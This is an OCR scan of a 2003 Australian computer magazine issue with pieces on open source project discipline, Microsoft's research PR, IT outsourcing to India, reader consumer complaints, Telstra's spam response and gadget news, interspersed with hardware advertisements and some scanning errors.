bored coiiege students and procrastinating 
programmers, each with their own concept of 
what the software shouid be about. 


Throw out a scrap of an idea for a piece of 
software and the community roars back, with 
a muititude of different code patches and 
bug fixes. "There's oniy one thing a renegade 
programmer iikes more than getting free 
source, and that's a chance to heip fight the 
Microsoft Menace," observed oniine journai 
Saion at the birth of Moziiia in 1998. 

it's the passion and ingenuity of these 
"renegades" that's buiit a name for projects iike 
Linux, but what happens when many of the 
hackers iose interest, ieaving behind unowned 
program moduies? Gates must have chuckied 
when the Moziiia team more recentiy resorted 
to posting "Missing Hacker" signs on its site, 
trying to track down obscure deveiopers who 
had thrown in their two cents' worth of code 
and had long since disappeared. 

The core Moziiia team has had other 
challenges. The mail feature, it says, has become 
"complicated", maintained by too few people. 


Plugging in the multitudes of code contributed 
from bedrooms and offices around the globe 
has also become an issue. The all-in approach 
means that the browser's look and feel is guided 
by whoever happens to be most enthusiastic 
at the time. On the Moziiia Web site there were 
even snippy comments about the difficulties of 
making products from "mediocre input". Ouch. 

TOUGH LOVE 

So what's the solution? The job of harnessing 
thousands of voices into a cohesive fighting 
software army requires a little more of the 
discipline of perhaps, well... Microsoft. 

Mozilla's new approach breaks the browser 
down into bite size applications, rather than 
one mega suite. This way, say the organisers, it 
doesn't have "every conflicting feature wanted 
by each segment of the Moziiia community". As 
they tactfully explain, the time has come for the 
all-in-code-frenzy to "return to normalcy". 
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Around the world, other major open source 
projects long ago started to lift their game. Keen 
to shake stereotypes about unstable, buggy 
products, they're making the kind of guarantees 
about their products that commercial software 
companies are known for — APIs, for example, 
won't change for a certain period of time. 

"That's a big change — discipline in the 
stability of the software," agrees Jeff Waugh, 
President of the Sydney Linux Users Group. 

Just because it's free software, he reckons it 
doesn't mean you can be blase about what gets 
changed in the code. 

Despite spurning a "cushy sysadmin job" for 
the open source world, the irony is that Waugh 
works the kind of hours even a paid-up coder 
might run from. He's part of a crucial eight- 
person team that manages worldwide releases 
of new versions of Gnome, the open source 
desktop shell for Linux. There are bugs to track, 
patches to coordinate; a regular day might 


go from 6am till 2am. Waugh is an example of 
a Linux geek for whom a hobby has become 
serious work. Granted, Waugh's not a typical 
bedroom hacker, yet he's a sign of the growing 
dedication and management required to keep 
these open source communities on track. 

His lair is his home study, where sometimes 
before major deadlines he'll be holed up for 
almost a week without leaving the house. It's his 
job to keep the various sub-project leaders (each 
responsible for a chunk of software) on track, by 
monitoring the 50 or so Gnome mailing lists, his 
head buried amongst a motley collection of Macs, 
rack-mounted servers, X terminals and disk arrays. 

The big job is trawling Bugzilla, a list of more 
than 100,000 gremlins in Gnome's DMA. One 
unlucky person has had the gig for some time, 
but Waugh says it's become too difficult and will 
soon need a team of minders of its own. 


Also looking over his shoulder are the 
corporations tapping Gnome as a basis for 
their own products. On major projects like 
Gnome, Apache, and the Samba networking 
protocol, special foundations have been set-up, 
formalising the decision process and giving 
corporations an entryway into discussions. Each 
fortnight Waugh takes a conference call from the 
Gnome Foundation Board. 

With corporations now interested, the pace 
of projects has quickened. Bedroom hackers 
submit code alongside salary coders, or "paid 
mercenaries" as they're sometimes called. Sun 
Microsystems has a team of paid hackers in 
Ireland working on Gnome "stuff", says Waugh, 
and there are more in China working on Mozilla. 

CODE BURNOUT 

Meanwhile, it's harder for volunteers to casually 
dip a toe into the action. Keeping track of 
things is hard when it can take four hours just to 


catch up with the mailing list. Waugh suggests 
that in some projects voluntary participation 
is dropping off. "In the past volunteers have 
maintained crucial parts of the software. In the 
Linux kernel, that's basically impossible now. 
That's pretty much true of most of the other 
brand name open source projects: things like 
Mozilla, Apache, Linux and Gnome," he says. 

Just how seriously the game is now 
being taken is signalled by incidents like the 
resignation of Christopher Phisterer, who was 
leading a project to bring open source and Unix 
software to Mac OS X machines. "I'm tired of 
people who complain loudly when something 
doesn't work but fall silent when asked to help 
in fixing it", he reportedly said. 

At the other end of the scale, the extra 
work means even relatively small, homegrown 
projects can lose key organisers. The key 


maintainer of the Mplayer video decoder for 
Linux recently announced plans to quit, saying 
he had no time for outside pursuits anymore. 

"If I want to do any bigger change somewhere, 

I meet tons of globals, hacks, side-effects and 
so on. It's impossible to do any changes on the 
interface without major rewrites and many 
months of bug-fixing," he wrote online. 

As the computing world continues to hop 
on the open source bandwagon, 
quality-control concerns will only increase. 
Already in Australia organisations like the 
Department of Veterans' Affairs, Centrelink, 
the NSW Department of Agriculture and the 
Northern Territory Department of Education 
have ventured into Linux. So much for a hobby. 

It's the open source catch-22: once a project 
becomes popular, the pressure increases to 
improve quality and stick closely to deadlines. 
Yet despite the hours of lost time tracking down 
disappeared coders, this seemingly ad-hoc 
system in some miraculous way continues to 
work. Somehow major projects continue to 
get pulled together, add features, fix bugs and 
maintain a reasonably cohesive structure. The 
Sourceforge site alone claims to host more than 
60,000 open source projects, with over 605,634 
registered users at last count. 

As open source becomes a viable option — 
the building blocks for the likes of Google and 
Amazon — so too will there be a maturation 
in the attitude of coders. Security geeks have 
gradually sharpened their skills and suited 
up as their expertise has become respected 
in the corporate world. In the same way, the 
open source movement would like to think it's 
embracing a new-found sense of maturity. 

The Infonomics Floss report shows that 
as many as 50% of all coders on open source 
projects are also professional programmers for 
commercial software companies. It's no longer 
a game, says Waugh. "The amazing thing is 
you have coders from all around the world up 
all week. It's insane, but it all comes together. 
We've got deadlines, we stick to them." til iia 


... a jumble of bedroom hackers, bored college students and 
procrastinating programmers, each with their own concept of the software. 
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PR smokescreen masks Bill’s Ills 

Spam-smashers, wristwatches, search engines... Microsoft's lab boffins have a vision for a future 
beyond Windows, but it's all a smokescreen for a company that lost its pioneer tag ages ago. 

Despite the efforts of over 20,000 developers, products like 
Window/s have a reputation among the tech savvy as increasingly 
bloated and expensive.The only major shifts for desktop users 
have been from the DOS world to Windows 3.0, then Windows 95, 
2000 and (to a lesser extent) XP. In between, we've been treated to 
Windows Me, which was a glorified service pack. 

Beneath the hype, Microsoft can't escape the fact it's now Just 
reacting to the changing computing world around it.Sure, it's 
setting the standard in desktop software and does a fine Job, but 
when has it been first with a killer idea? 

Well before anti-spam technology made its way into the new 
Exchange Server 2003, a proliferation of anti-spam technologies 
were available for download online. It's the same with other killer 
apps of the last 10 years — browsers, digital music and, shortly, 
search engines — Microsoft followed the success of others. 

As critics never tire of pointing out, even the Windows GUI 
— which catapulted the company to fame in the 1990s — was a 
hand-me-down from Apple and before that. Xerox. Microsoft 
has chosen to build its business more on marketing and 
relationships than pure innovation. But when you're a virtual 
monopoly, who cares? 

The problem for Microsoft is that it's been banking on the success 
of two core products (Windows and Office) for more than a decade; 
the company is feeling increasingly vulnerable. For evidence,you only 
need to look at Bill Gates, who can regularly be seen waving things 

Hie dog-and-pony show is designed to prove that Micreson is stiii at the cutting 
edge... to “convince peopie we stiii have new ideas” says Steve Battmer. 


B race yourself, because the Microsoft PR machine is 

zooming into overdrive again, and this time it's not about 
courtroom battles, new versions of Windows, or even 
licensing schemes.The new troublespot is Microsoft's 
reputation, its street cred with you, the tech crowd. 

In what must surely be a bid to bolster its much-maligned 
public image, Microsoft threw open the doors to its research labs 
recently, giving the media and public a peek at the ideas that might 
make it into its next version of Windows. 

The dog-and-pony show is designed to prove to the world 
that Microsoft, battered by criticism over its licensing changes 
and a marathon antitrust trial that is still winding down, is still at 
the cutting edge.CEO Steve Ballmer has signalled an aggressive 
push to soften the computing world's anti-Microsoft bent and 
"convince people we still have new Ideas." In true Microsoft style, it's 
a whopping $670 million campaign, including a run of television ads. 

So what new ideas does Redmond have up its sleeve? First, 
there's the anti-spam concept that involves email senders having to 
crunch data — similar to SETI@home — when they send mail to a 
new address for the first time.This makes mail flooding difficult and 
proves a PC is sending the message, not some mail bombing server. 

Next up is Windows Gestures, an experiment in controlling 
the PC via hand movements. Screen-mounted cameras pick up 
your movements to direct your mouse pointer. It's an effort to 
supplement speech recognition, which still hasn't taken off after 



decades of work. Elsewhere in Microsoft's labs is something called 
MyLifeBits, which turns the digital photo-album concept into a 
glorified scrapbook by adding audio and video.There's also natural 
language question-and-answer software and advanced search 
engine technology. You can visit www.research.microsoft. 
com/research/topics for the full list. 

They're all fascinating ideas, but they don't change the fact 
Microsoft long ago lost any reputation it may have had as a cutting 
edge player. Many of the projects, like natural language queries, 
speech recognition and security, are recurring themes. Microsoft 
Research was created in 1991 and has since paved the way for 
similar research labs, but where are the breakthroughs? Why 
hasn't anything as revolutionary as laser printing technology or 
Wi-Fi networks emerged from Redmond and been gobbled up 
across the industry? 




like Windows-embedded wristwatches at industry expos.Since Gates 
took over as chief strategist, Microsoft has branched into areas as 
diverse as Xboxes, television set-top boxes and wireless networks. In 
his keynote address at the 2003 CES show. Gates and Co.took a stab 
at everything from sewing machines, to exercise bikes, to PCs that act 
like a TV. His plan is that you'll see more of Microsoft in more devices. 

But if there's a future for Microsoft beyond Windows and Office, 
it isn't yet clear. While Microsoft's chief talks about household 
gadgets and ideas, interest continues to grow in alternatives such 
as Linux. And PC owners are sick of paying wads of cash for what 
amounts to feature upgrades. 

If Microsoft wants to stave off increasingly professional brands 
such as Red Hat, the company needs to Innovate in its core 
products — if it still can. 

wmaher@apcmag.com 











intel.com/au 


The unwired office 
starts inside. 



Introducing Inter Centrino™ 
mobile technology. 

The new generation of laptop 
technology engineered 
to unwire your business. 
Until now, the promise 
of a truly wireless 
workforce has been just 
that: a promise- Intel® 
Centrino” mobile 
technology delivers on that 
promise with unprecedented 
levels of mobility for your users 
and an easier deployment for 
you. Intel Is working with 
other industry leaders to 
make wireless networking not 
only reliable, but secure. 
Intel Centrino mobile technology 
is compatible and validated 
with Cisco enterprise access 
points. And Intel continues to 
work closely with VeriSign, 
Check Point Software and other 
leading technology companies 
to optimise security solutions. 
The unwired office 
starts inside. 


tS 2003 Intel Corporation. Intel, I 
All rights reserv 
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Cut IT out, Australia 


The furore over revelations that Telstra is outsourcing IT jobs to India is the latest in a string of 
events showing that Australian ICT skills are rubbish, and we should shut up the IT shop. 


P anic erupted in Aprii whenTeistra was caught 

red-handed dipping into the pooi of cheap offshore 
labour. It's now paying 100 Indian programmers and 
anaiysts $12,000 each per year rather than employing 
iocals (at Deloittes) on six times that amount.Teistra has aiso 
outsourced work done by iBM GSA locais and EDS to indian groups 
infosysand Satyam. 

IT locals feared the worst and worked themselves into a lather. 
They'd finally been outed as the puddle of flat beer the rest of the 
world knows them to be. If Telstra, a government-run company, 
can send local jobs offshore, it was an open invitation for any other 
company to dump the useless locals and get cheaper, smarter 
Indian talent to do the Job. 

While socialist sooks bemoaned the exploitation of Indian 
workers, Infosys head Ananda Rao told the media it wasn't about 
costs. It was about skills. Apparently $ 12,000 a year isn't exactly a 
sweatshop wage in India. Either way you look at it, it buys a hell of 
a lot more curry than $5,000 a year in Australian unemployment 
benefits, which are doled out to 11.9% of the local IT workforce. 

Indian workers are sought after because they are among the 
world's most highly skilled. Rao says his company gets 400,000 
applications from university graduates in the top 5% of their class. 
Of those, Infosys employs 4,000, who are put to work only after 18 
weeks of further training. 

India has emerged as an IT powerhouse because of its 
education system, says a consultant with recruitment firm Icon, 


billion in tax concessions to local companies doing R&D.The 115 
companies that applied for grants under the R&D Start Program 
were told the program was frozen. 

Australian business spending on R&D has shrunk to 0.72% of 
GDP, putting us at the tail end of OECD knowledge economies and 
behind Finland,France,Czech Republic and Belgium. And Belgium's 
most successful export is chocolate! 

Australia's level of IT exports is simply melting away. In a report 
titled "ICTTrade Update 2002';the Centre for Strategic Economic 
Studies at Victoria University puts Australia's total deficit on ICT 
trade at almost $14.4 billion. It notes:"A decline due to falling 
investment, combined with a decline in exports, is not good news." 

The university think tank did find a bright spot in local 
industry — consulting and implementation services.The 
Government knows this, yet it seems determined to make Aussies 
give up this IT caper.The targets for Australian SME participation 
in huge Cluster 3 Government outsourcing contracts dropped 
from 24% to 11.8%, according to an audit report into industry 
development. Now the Government has removed any SME 
participation targets for contracts under $20 million. And since 
there are few contracts above $20 million, SME participation in 
Government outsourcing contracts dropped down from 30% to 
5%, according to AHA figures. 

Perhaps the biggest problem with Australian IT talent, besides 
the lack of education, R&D funding, and Job opportunities, is the 
perception that you get what you pay for — despite the Indian 


... it was an open Invitation tor any other company to dump the useless locals 

and get some cheaper, smarter Indian talent to do the job. 


Andrew Flope."Our older guys here have top skills, but clients don't 
want them because they don't have as long a work life [before 
retirement]. But the younger ones are mostly doing 12-month 
certificate courses advertised on the radio with false promises 
of earning $60,000,and theyjust aren't as qualified as an Indian 
graduate who's done four years of engineering at university." 

The Australian Government agrees.These Indians are so good, 
so plentiful,and so cheap,that locals needn't bother.The Minister 
for Education, Brendan Nelson, has Just cut funding for 5,500 ICT 
university places under a scheme called Backing Australia's Ability.The 
reason? It's clear we have no ability in IT, so there's nothing to back. 

The Government's belief that our IT skills base is beyond 
repair is exemplified by policies seemingly designed to dismantle 
the IT sector. As OECD countries ramped up R&D to boost their 
competitiveness, in 1996 the Australian Government cancelled $2 


phenomenon proving otherwise. 

While local Web development houses would have built the 
Department of Communications and IT site for about $500,000 — 
$100,000 less than the $600,000 quoted by multinationals (whose 
costs are always grossly inflated), DCITA was wary of potentially 
shoddy work from local workers. Instead it got fleeced $4.26 million 
for a site that is about as ordinary as it gets. But at least locals 
weren't working on it. 

With any luck, the Government might have completely 
wound down the IT sector by the end of the year. It would be 
perfect timing for Senator Alston, who could take up the post of 
Ambassador in Paris, which he has long coveted, and a neat solution 
for a Government which spotted early on that Australians Just don't 
have the grey matter to cut it in IT. Stick to farming, yokels. 
gmontgotnery@apcmag.com 









Beware of imitations. 



No one can 

except the people that invented them. 


You should always look for a name you can trust. Not only did Brother invent the Multi-Function Centre® and pioneer the category several years ago, we 

continue to lead it with Innovative, user-friendly features. So don’t be confused by cheap copies, remember imitations have their limitations. There is only one 

company that offers the genuine article. And there are eight different Brother models to choose from. Whether you want colour capabilities to print your 
photos at home or you need serious laser printing quality for your business, we’ve got the answer. Welcome to Multi-Function Solutions. Welcome to Brother. 
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Laboured delivery 

Different brand components than advertised, delivery delays and faulty 
equipment. Where does a seller's responsibility end and a buyer's begin? 


Dear Watchdog, 

I recently placed an order with Best 
Buy Computers Pty Ltd for a computer 
for a business client. It was on the 
understanding that it'd be assembled 
and shipped within a few days, and sent 
by Startrack Express to arrive in Bathurst 
within todays. 

I called a week after the order was 
made to check when I could expect the 
computer. I was told by Best Buy that the 
computer had not even gone because it 
had a faulty motherboard and, as a result, 
anewonehad been sent for. After two 
more weeks, still no computer — Best 
Buy blamed Startrack Express, stating 
the computer had "been lost" In transit. 
Startrack Express had not picked up a 
computer from Best Buy for delivery to 
Bathurst in January or February. 


I had to put together another 
system for my client, which left me 
without a computer. Over three weeks 
and many phone calls later. Best Buy 
finally assembled the computer.This time 
the computer appeared in the tracking 
system of Startrack immediately and at 
every stage was scanned and trackable 
by the label that Best Buy prints itself 
and attaches to the goods. No label had 
been printed from the tracking system as 
originally claimed by Best Buy. I asked for 
evidence to prove that the first computer 
had been assembled and sent, but none 
was provided. 

The computer arrived with the internal 
modem loose in the case, rattling around 
against the components of the computer 
and without what I ordered; the Gigabyte 
motherboard. This had been replaced 



with a "generic" motherboard. The modem 
died in transit and could not be installed. 

I requested (by fax and phone) a new one 
or a refund. A replacement was promised 
and to date has not been sent. Best Buy 
appears to have mislead me at every point 
and refuses to provide a refund for goods 
not delivered as contracted. 

David Wilson 
Bathurst, NSW 

Best Buy manager Ali Birjandi contacted 
Watchdog to explain his version of events. "We 
accept that some difficulties occurred. Temp 
staff handled the order and it wasn't done 
satisfactorily. I had to let [the temp staffer] go." 


Quicken charges ahead with new fees 


Hear Watchdog, 

have Quicken Cashbooks version S.The sole inconvenience in the past was 
the requirement to contact Quicken for a re-registration number each time 
I reinstalled it. Although an inconvenience, this was tolerable. I have just 
upgraded my operating system to Windows XP and rebuilt my system only l 
find that Quicken has now introduced a $9 charge to re-register my softwai 
I rang and emailed Quicken and was told that its processes, associated with 
re-registration, are costing money and I should pay for it. 

I would like to point out that these processes are not there by customer 
request, design or desire. This is clearly against the principles of fair trading 
as it a charge that provides no added value, benefit or service. I now have 
an application that is not"Fit for use" (Trade Practices state that all software 
must be"Fit for use"). 

If I had upgraded to a more recent version of the software (for instance. 
Cashbook 2003) then the re-registration would be free over the Internet. I 
can only conclude this is a cynical way to coerce users into upgrading. 

I bring this to your attention because your magazine advertises and 
promotes this product. Is there any thing I can do — apart from purchasing 
lew software — toresolve this matter? 


I After a flurry of emails from Quicken users about the same 

;, Watchdog spoke to the company's CEO in Australia, Greg 
I Wilkinson, about this $9 charge. 

"[There's no chargejif you're reinstalling on exactly the 
same PC, say if you clean your system and reinstall", he said, 

"but if you move the installation from one PC to another or 
install it on a new PC, the charge then applies." 

He then explained why the charge exists. "Quicken 
customer service processes 350-400 re-registrations a week. We t 
have warm bodies handling those calls. It is a cost we in 

Wilkinson noted that the company had experimented with 
alternatives before settling on a user-pays customer service 
model. "By only charging those who make use of the service, 
it prevents a cost being incorporated to all our users. We tried 
online registrations, but that immediately lead to a huge 
' increase in piracy. 

II I'm asking for is our users to understand that if it could 
be automated — without piracy — we would do it. We have 
found that you can't provide great customer service if you 
I don't resource it. Customer service complaints have drastically 
I dropped since we started charging," he said. 











Birjandi said that David's situation was a case j 
of unfortunate timing. A famiiy tragedy meant j 

that the manager was away during the period j 
David's item was meant to be dispatched, 
ieading to some confusion on the deiivery and 
ordering side of the business. No expianation 
was provided as to the irregularities regarding 
Startrack Express, a carrier that boasts a 
thorough goods tracking system. 

"The system David ordered was not a 
compiete system, it was a 'barebones' system," 
Birjandi pointed out, "He has to put it together." 
And the rattling modem? "The modem he 
was sent was an AMR modem — it has to be 
plugged into the motherboard on the riser and 
then enabied in the BIOS. Instructions were 
on the installation CD." Birjandi added: "I think 
David's problem with a faulty modem could be 
due to this — if he doesn't enable it in the BIOS, 
the modem won't show up." 

Birjandi mentioned that he'd been in personal 
contact with David, and that a second modem 
would be dispatched, despite his misgivings 
about the modem's working condition. 

His view about the substitution 
motherboard was that David was sent a brand 
that was better than the one he had ordered, 
with more features. "We do mention that we 
reserve the right to replace parts with similar or 
equivalent products," Birjandi said. 

When ARC made a follow-up call to David, 
some progress had occurred. Best Buy had been 
in contact attempting to resolve the outstanding 
issues. But he was adamant that the modem 
was damaged. "The PC recognised the modem 
and loaded it. It still didn't work. [Best Buy] has 
accepted that the modem is at fault now." 

David confirmed that Best Buy has promised 
to send him a replacement. He wasn't thrilled 
at the turnaround time. "It was incredibly 
frustrating having [Best Buy] say they posted it, 
then blaming Australia Post for non delivery... 
there is a sense of not being treated truthfully." 

On not receiving the motherboard he 
ordered, he said: "I had been relying on some of 
the features of the other motherboard ... 
actually I was counting on the reliability of an 
established brand. If they had informed me in 
advance of the [motherboard] change it would 
have been acceptable." 

David said Best Buy had told him that the 
replacement motherboard — branded ECS 
(Elitegroup Computer Systems) — was a 
reliable, well-known board. 

And he is diplomatic about his dealings 
with Best Buy. "It's now two-and-a-half months 
down the road... it felt like a huge battle Just to 
get what I contracted." 

And he left no doubt that it was the poor 
communication that irked him the most. "I 


would have been a lot happier if I had been 
better kept informed of what was happening." 

Dear Watchdog, 

I recently purchased an Athlon XP2200+ 
from Computer World's Sydney store. 
Unfortunately, either the motherboard 
or the CPU was faulty. Both were new. I 
returned the CPU to the store.They tested 
it and got it working.They rang me and 
said I could pick it up. 

When I arrived at the store, however, 
they said they had moved their warranty 
centre to the Homebush area.They did not 
tell me this when I had rung up to confirm 
that the CPU was ready. 

The next day I travelled to Homebush 
to find the warranty centre, and after a 
long walk eventually found the store in 
a neighboring suburb. When I asked for 
my CPU, they claimed to have sent it back 
to the city store... without notifying me. 
After returning to the city store, I finally 
managed to obtain the CPU. 

There were no apologies forthcoming 
for the abysmal service. 

Next time I upgrade. Til happily fork 
out an extra $50 to buy from a different 
company, as in my experience, cheaper 
prices equal shoddy customer service. 

By comparison, Aus PC Market — which 
supplied me with the motherboard 
— tested it, sent it the manufacturer and 
contacted me when it was ready. All this 
from a five minute phone call. 

Brent Harrison 
Sydney, NSW 

Watchdog spoke to Computer World Sydney's 
Manager, Rob Creaser. He acknowledged that 
Brent's experience "sounds like a terrible one". 

On the topic of customer service, he agreed 
that Brent had the right to expect at least 
an apology. "Absolutely, who wouldn't," he 
commented, adding that such an approach was 
"something I've been trying to organise here." 

As for the delivery mishap that's at the heart 
of Brent's complaint? "We Just opened recently 
in Homebush," Creaser explained, "[we're] in a 
bit of a flux scenario." 

r ontartiis _ 


WE WANT TO KNOW 

how IT companies are really treating you. 
Write to: watchdog@apcmag.com, or PO Box 
4088, Sydney NSW 1028. Include your full 
contact details and any product information. 
All correspondence becomes the property of 
APC and is subject to editing. 


Spam fan, 
thank you na’am 

Usenet administrator David Ritz pulled no 
punches in a recent assessment of Telstra's 
anti-spam performance. "Even when their 
nntp servers are being hijacked, flooding 
Usenet with malicious messages, let alone 
thousands [of] spammed posts, reports 
are met with deafening silence... All 
previous attempts at opening channels of 
communication have apparently fallen on 
deaf ears, including stern warnings about 
their failure to act against ongoing abuse." 

The Ritz salvo was part of a public 
warning to Telstra to clean up its spam 
issues or face a Usenet Death Penalty, which 
would effectively block the ISP's users from 
most newsgroups. 

Telstra swiftly moved to shore up 
accusations that it's a haven for spammers. 
Stung by eariier threats from the 
administrators of Usenet to ban access to 
newsgroups, the telco has taken action. 

The company went public about its plan 
to boot customers using BigPond accounts 
to spam from. It intends to "send a very clear 
I message to spammers that they will be dealt 
' with if they try to use our network to harass 
our customers". 

Telstra hopes that by decreasing the 
response time to complaints, the noose can 
be tightened before spammers cause much 
damage. The telco is also shaping email 
output — if a large volume of questionable 
email traffic is detected from a given 
BigPond IP, the bandwidth will be cut back. 

A similar philosophy is in place for 
newsgroup postings. Software installed 
by Telstra on its newsgroups server checks 
multiple postings to newsgroups from a 
given BigPond IP. Ifthe amount of messages 
being sent exceeds what Telstra terms 
"defined thresholds", the mail isn't sent. 
Telstra didn't elaborate on Just how many 
messages across a given time period would 
exceed the threshold. 

A high-level internal committee — 
including Telstra's Broadband head, Justin 
Milne —- has been convened to investigate 
further solutions. 

The open relay issue (spammers 
exploiting users who have incorrectly 
configured their own mail servers) 
remains unsolved. 
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One to watch 

Affluent fans of all things portable have something 
new to get excited about. Archos, maker of hard 
drive-based music players that look ugly, but hold a 
lot of music, has moved into portable video with the 
Jukebox Multimedia 2. And it's a practical appliance 
of sorts. Of course this 110 x 79 x 29mm baby plays 
music, but it also has a 237 x 234 colour LCD screen 
that plays DivX 4 and 5 video clips as well as the 
open source XviD format. It can also be hooked up 
to a TV for full screen viewing. The vital stats: 20GB 
hard drive; support for USB 1.1 and FireWire; plus an 
audio playback peak of seven hours, courtesy of a 
rechargeable Li-Ion battery. Its weight? 290 grams. 
The price? Around $750. 



Red faces at Redmond 

Another month, another leak from Microsoft. 

The software juggernaut got April off to a great 
start when a corporate key for the about-to-be- 
shipped Windows Server 2003 found its way 
online. The code was from a block allocated to 
volume licensing programs and, as such, didn't 
require the matching activation code usually issued 
by Microsoft for each PC. The other news out of 
Redmond concerns the company's progress on the 
latest M5 (milestone 5) test version of Longhorn, its 
next-gen desktop client. While this XP successor is 
still slated for release in late 2004 or early 2005, the 
new build shows plenty of development. To take 
advantage of Longhorn's database-driven WinFS 
file system, the M5 build replaces key system 
folders with libraries such as a Picture and Video 
Library, Game Library and the Music Library, which 
organise files using a series of filters. The overall 
interface has been further refined while the sidebar 
gains new modules and looks less like a clumsy 
shareware add-on. Longhorn M5 also introduces a 
portable user profile that can copy and synchronise 
per-user settings such as the contents of the My 
Documents, My Music and My Pictures folders, 
along with specific user preferences, against a 
portable USB device. 


Continued under gatefold 
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Barebones laptop 



We've seen a wide range of mobile form factors emerge in the last couple of years, but 
here's an interesting twist on the barebones box fad that's radiating from Taiwan. 
ASUS has recently offered a "Desknote” system, which is a hybrid 
desktop/notebook machine built around desktop components. 

The $1,395 unit comes as a bare machine, so you have to add DDR 
RAM, either a Celeron or Pentium 4 desktop processor, and a 
notebook hard disk before you get a bootable system.This has 
the advantage of adding a little flexibility — you can either 
opt to save money and skimp on processor, hard-disk space 
and RAM,or go all-out with a 2.8GHz processor, gigabytes 
of memory and a 60GB drive.The ASUS D1 Desknote 
doesn't include a battery pack, so you'll need to find a 
power point, but it could be perfect for a semi-mobile 
worker, www.cassa.com.au. 


*nix 

Currently at version 3.2, "Linux-on-a-CD" Knoppix continues to go from 
strength to strength. Powered by the Linux 2.4 kernel, the Debian-based 
distro boasts more than 2GB of applications and content squeezed onto 
a single CD thanks to what its German makers describe as "on-the-fly 
decompression". Decompression incurs a time hit, as does the slower 
CD access speed. Which means that running your university network 
off a TDK with Knoppix burnt on it might be stretching the performance 
envelope, but for a portable version of Linux, it can't be beat. One CD plus 
a USB memory key and the world is your oyster. The CD package includes 
OpenOffice 1.0.2, Ximian's Evolution email client, the KDE desktop, and 
a pile of Linux standbys, including the GIMP Photoshop wannabe. Get 
downloading at www.knopper.net/knoppix/index-en.html. 


Less than a year ago. Sun head Scott McNealy was pushing the idea 
of selling "purple boxes". Sun-equipped workstations a shade or two 
different from the ubiquitous Windows beige box. Intended to be as much 
a thorn in Microsoft's side as an alternative revenue stream, the plan has 
hit a pothole. Sun's recent decision to drop its home-grown Sun Linux 
means that the company now (grudgingly) recommends what it terms 
"standard distributions" in its workstations. That is, the ones who aren't 
using Solaris. Which, if you listen to Sun, should be many. The company's 
Project Orion licensing scheme sees Mountain View return to pushing the 
Solaris vision on x86 platforms. 















MOBILE 

TECHNOLOGY 


I need to buy a notebook with 
the fastest repair service warranty. 


Choose from a company 
that commits to a two hour 
repair service warranty. 


Only Acer backs its notebooks with a standard 2 hour express service warranty*. Simply 
take your notebook to any participating Acer repair centre in Australia or New Zealand 
and we will endeavour to have you up and running again in 2 hours. Not 2 weeks, not 
2 days, but 2 hours. It's a commitment to your business that our competitors just don't 
offer. So with notebooks like the TravelMate 800 with Intel® Centrino™ Mobile Technology, 
you can be back on schedule in no time. Acer, Australia's fastest growing PC brand.' 

TravelMate 800 featuring Intel* Centrino™ Mobile Technology comes standard with Acer's 2 Hour Commitment Warranty Express Service. 


















GeForce FX on the Go 

The GeForce FX chipset runs so hot that higher end 
versions require the vacuum cieaner-esque FX Fiow 
system to cooi them. Even so, nVidia has managed 
to make the FX mobiie. The GeForce FX Go 5200 and 
GeForce FX Go 5600 run at 350MHz and 400MFIz 
respectively, just like their low-mid-range FX desktop 
counterparts. Couple one of the FX Go chips with a 
non-Centrino P4-powered notebook and you'd have 
a machine that not only throws lots of polygons 
around, but in all likelihood doubles as a handy 
clothes iron. First cabs off the rank with GeForce FX 
Go-equipped notebooks are Toshiba and German 
technology giant Medion AG. 

SayhiloTejas 

The name may appear like something you'd order 
with your nachos, but the similarities end there. 

Tejas is the chip 
Intel hopes will be 
powering your PC 
in 2005 (assuming 
that AMD still 
hasn't released 
Clawhammer). Like 
the employment 
prospects of the 
person who leaked 
this image from 
Intel's labs, details 
on the new chip are scant. The smart money is saying 
that the Pin Grid Array (PGA) layout used by the likes 
of the Pentium 4 is on the way out, making way for 
a less expensive land grid array, or LGA setup. Tejas 
CPUs will allow the use of the expensive (but fast) 

DDR II memory and use PCI Express Graphics. There's 
no comment on whether Tejas chips will BSOD your 
PC if it detects unauthorised MP3s on your hard drive, 
but if it's any consolation, Intel is promising that it 
will run cooler and quieter. Think of it as the follow¬ 
up to the due-in-2003 Prescott line-up, which means 
Intel's bean counters will be pushing for it to be out 
the door in 2004. 

Coolermaster is coolest 

If having a portable airconditioner/aquarium inside 
your PC just isn't pushing the cool factor (thermal 
or aesthetic) for you, maybe it's time to jump onto 
the axial fanwagon. Coolermaster's Aero 7 and 
Aero 78 proved very popular at CeBIT. The new fans 
operate on the theory that a sideways, piped-output 
fan position allows air to be better blown onto the 
surface of the CPU. The thoughtful manufacturer even 
includes a control knob wired to a PCI placeholder, 
allowing you to vary fan speed. So why bother buying 
one? Coolermaster claims that traditional "radial" 
fans have a blind spot in their cooling directly under 
the core of the fan. Presumably this deficiency 


extends to Coolermaster radial fans as well, but the 
company didn't elaborate on whether you should 
stop buying them as well. 

Back from the brink 

Two clever part-time Australian programmers 
have coded a tool that can be used to bring files 
back from the brink, which could mean the end to 
accidental file deletion. Recover My Files is capable 
of searching through temporary and "swap"files to 
maximise the chances of recovering a deleted file. 

It's even possible to recover fragments of documents 
that weren't saved because of the way Windows 
caches snippits of data to the disk during operation. 
It's only available for Windows and works with 
FAT12, FAT16, FAT32 and NTFS file systems. For more 
information, head to www.recovermyfiles.com. And 
keep your eyes peeled for a review in an upcoming 
issue of APC. 

DivX hits the lounge room... 

Kiss Technologies (www.kiss-technology.com) 
was the first company to put out a DivX-compatible 
DVD player. Flowever, there were a number of 
teething problems. PAL DivX playback gets cropped, 
copyright-protected audio CDs don't work, and one 
other big fault: the Realmagic EM8500 chip used 
to decode the codec doesn't play back any DivX 
content encoded with versions prior to 4.02. It's an 
issue to note because version 3.11 was the standard 
when DivX took off Now Singapore-based neuston 
has waded into the fray with the Maestro DVX-1201 
(www.neuston.com/dvx_1201.asp). With a similar 
specification (and attendant chip issues) as the Kiss 
Technologies offering, neuston is dipping its toes 
into local waters, which is good news for Australians 
looking for a player. The question though remains: 
will the majors step into the DivX fray with their own 
offerings, or will they attempt to kill the format? 

...but a 120GB set-top 
box looks boner 

Those lucky Japanese are enjoying the Sharp 
HG-01S Personal Server. Using 802.11b, the device 
is intended to be the hub of a household's wireless- 
ready appliances. It also functions as a media library 
(including stills) and digital video recorder. Its 120GB 
hard drive can record at 2,4 or 8Mbit/s — equating 
to 115,60 or 30 hours recording time respectively. 
Because the device is networkable across the Internet, 
distributing your recordings online can be done as 
quickly as saying "subject to copyright restrictions". 
Streaming is also supported, and the device allows 
conversion to MPEG-4 for this very purpose. If you can 
